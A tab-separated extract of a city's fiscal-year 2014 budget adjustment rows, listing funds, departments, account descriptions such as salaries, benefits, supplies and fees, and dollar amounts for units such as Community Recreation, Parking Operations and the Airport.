6809	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2014	2196.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2196.0
6810	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	522825.0	FOOD PURCHASES		 Supplies and Expenses	2014	103.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	103.0
6811	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404082.0	INTEREST - PROP 1B-BUSES	659.0	Investment Income	2014	-43430.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-43430.0
6812	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	25013.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25013.0
6813	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	26071.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	26071.0
6814	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2014	1046.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1046.0
6815	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2014	6273.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6273.0
6816	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522130.0	UTILITIES - WATER	850.0	 Supplies and Expenses	2014	9600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9600.0
6817	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	406981.0	PYMT-PBAD ASSESSMENTS	622.0	Other	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6818	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2014	313.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	313.0
6819	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	17000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17000.0
6820	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	2014.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2014.0
6821	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2014	655.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	655.0
6822	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	24276.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	24276.0
6823	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2014	104.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	104.0
6824	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	59487.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	59487.0
6825	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2014	408.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	408.0
6826	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2014	934.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	934.0
6827	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544200.0	SPORTS SUPPLIES	810.0	 Supplies and Expenses	2014	2000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2000.0
6828	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6829	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	511748.0	DENTAL	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6830	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522116.0	UTIL-LIGHT/POWER-CIVIC PARKING	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6831	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6832	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6833	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	577110.0	PAYMENTS TO RENT CONTROL	808.0	 Supplies and Expenses	2014	3000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3000.0
6834	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407210.0	EVENT PERMIT FEE	612.0	Charges for Service	2014	-8716.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-8716.0
6835	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6836	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	407070.0	CUPA ADMINISTRATION FEES	612.0	Charges for Service	2014	-221400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-221400.0
6837	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570100.0	PEG TRANSFER FROM FUND 04		 Supplies and Expenses	2014	-262757.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-262757.0
6838	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	400290.0	PREF PARKING PERMITS	608.0	Licenses and Permits	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6839	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	407800.0	CIVIC CENTER PARKING	608.0	Licenses and Permits	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6840	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	408000.0	INTERFUND SERVICES-TMP	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6841	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407210.0	EVENT PERMIT FEE	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6842	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	511560.0	CAPITALIZED LABOR		Salaries and Wages	2014	-20200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-20200.0
6843	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511560.0	CAPITALIZED LABOR		Salaries and Wages	2014	-658465.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-658465.0
6844	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	401170.0	ELECTION FEES	612.0	Charges for Service	2014	-2200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2200.0
6845	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2014	4840.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4840.0
6846	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6847	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6848	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6849	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6850	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100.0
6851	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2014	898.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	898.0
6852	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	452.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	452.0
6853	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	1507.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1507.0
6854	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	22906.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	22906.0
6855	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	1738.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1738.0
6856	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2014	499.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	499.0
6857	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		WELLNESS	810.0	Salaries and Wages	2014	481.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	481.0
6858	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407390.0	GYM RENTALS	618.0	Rentals	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6859	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	522620.0	RENT	804.0	 Supplies and Expenses	2014	152357.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	152357.0
6860	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6861	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6862	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522111.0	UTIL-LIGHT/POWER-GF	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6863	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522134.0	UTIL-WATER-PARKING AUTH	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6864	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522151.0	STORMWATER MANAGEMENT-GF	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6865	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2014	20604.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20604.0
6866	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2014	646.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	646.0
6867	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2014	6500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6500.0
6868	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400440.0	PARK FILMING LOCATION FEES	612.0	Charges for Service	2014	-46010.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-46010.0
6869	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	400318.0	ATTENDANT PARKING-STRUCTRE 7&8	608.0	Licenses and Permits	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6870	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401311.0	CONTRACT CLASSES	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6871	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-4352.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-4352.0
6872	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-1654.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1654.0
6873	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2014	-5971.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-5971.0
6874	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6875	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-1504.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1504.0
6876	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER		EMPLOYEE HEALTH CONTRIBUTION	840.0	Salaries and Wages	2014	-15612.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-15612.0
6877	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2014	-4447.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-4447.0
6878	BA	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	402510.0	COMM & TRIBUTE PROG	622.0	Other	2014	-25000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-25000.0
6879	BA	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	555350.0	COMM & TRIBUTE PROGRAM	810.0	 Supplies and Expenses	2014	25000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25000.0
6880	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409021.0	ENRICHMENT-FALL	612.0	Charges for Service	2014	-124489.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-124489.0
6881	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	408200.0	SINGLE-USE CARRYOUT BAG BAN	612.0	Charges for Service	2014	-500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-500.0
6882	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402810.0	URN SALES	650.0	Charges for Service	2014	-18450.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-18450.0
6883	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556140.0	SOLD VAULTS	808.0	 Supplies and Expenses	2014	38000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	38000.0
6884	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2014	75813.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	75813.0
6885	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2014	7000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7000.0
6886	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	577530.0	FARMERS' MKT EDUCATION PRGS		 Supplies and Expenses	2014	13600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13600.0
6887	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	154609.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	154609.0
6888	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-7230.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-7230.0
6889	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		EAP	804.0	Salaries and Wages	2014	1249.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1249.0
6890	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	8429.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8429.0
6891	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522040.0	INSURANCE AND BONDS	860.0	 Supplies and Expenses	2014	2626379.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2626379.0
6892	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	1050.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1050.0
6893	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	540590.0	EMPLOYEE RECOGNITION & APPRECI	804.0	 Supplies and Expenses	2014	660.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	660.0
6894	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2014	27904.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	27904.0
6895	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		LIFE INSURANCE & AD & D		Salaries and Wages	2014	840.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	840.0
6896	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533240.0	PIER MAINTENANCE		 Supplies and Expenses	2014	401700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	401700.0
6897	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	247313.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	247313.0
6898	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511748.0	DENTAL		Salaries and Wages	2014	4551.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4551.0
6899	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		LIFE INSURANCE & AD & D		Salaries and Wages	2014	535.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	535.0
6900	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	533260.0	NON-AVIATION MAINTENANCE		 Supplies and Expenses	2014	90768.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	90768.0
6901	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2014	3100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3100.0
6902	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2014	199930.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	199930.0
6903	BA	IS	44	SCAQMD AB 2766 Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	407830.0	AQMD MSRC DISCRETIONARY FUNDS	610.0	Intergovernmental	2014	-149925.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-149925.0
6904	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	450000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	450000.0
6905	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533210.0	BLDG OPER / CUST SUPPLIES	808.0	 Supplies and Expenses	2014	20500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20500.0
6906	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	555210.0	TRAINING	816.0	 Supplies and Expenses	2014	7625.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7625.0
6907	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	680168.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	680168.0
6908	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	533220.0	BLDG / STRUCTURE MAINTENANCE		 Supplies and Expenses	2014	2612.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2612.0
6909	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	408010.0	REVIEW OF PLANNING APPLICATION	612.0	Charges for Service	2014	-12000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-12000.0
6910	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	408020.0	TRAFFIC CONTROL	612.0	Charges for Service	2014	-2725.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2725.0
6911	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	400601.0	REVIEW OF PUBLIC ROW APPLICATI	612.0	Charges for Service	2014	-103349.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-103349.0
6912	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6913	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6914	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	522310.0	OFFICE SUPPLIES / EXPENSE	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6915	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	579290.0	UTILITIES BILLING SERVICES	866.0	 Supplies and Expenses	2014	308479.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	308479.0
6916	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	579290.0	UTILITIES BILLING SERVICES	866.0	 Supplies and Expenses	2014	91055.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	91055.0
6917	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	404580.0	BAYSAVER FEES	662.0	Other	2014	-90000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-90000.0
6918	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533680.0	CONF / MTGS / TRAVEL -	804.0	 Supplies and Expenses	2014	4165.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4165.0
6919	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	410882.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	410882.0
6920	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	5714.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5714.0
6921	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2014	2883.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2883.0
6922	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	891.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	891.0
6923	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2014	1909.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1909.0
6924	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2014	4400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4400.0
6925	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555210.0	TRAINING	810.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
6926	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	776261.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	776261.0
6927	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2014	1807.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1807.0
6928	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2014	7126.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7126.0
6929	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2014	1357.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1357.0
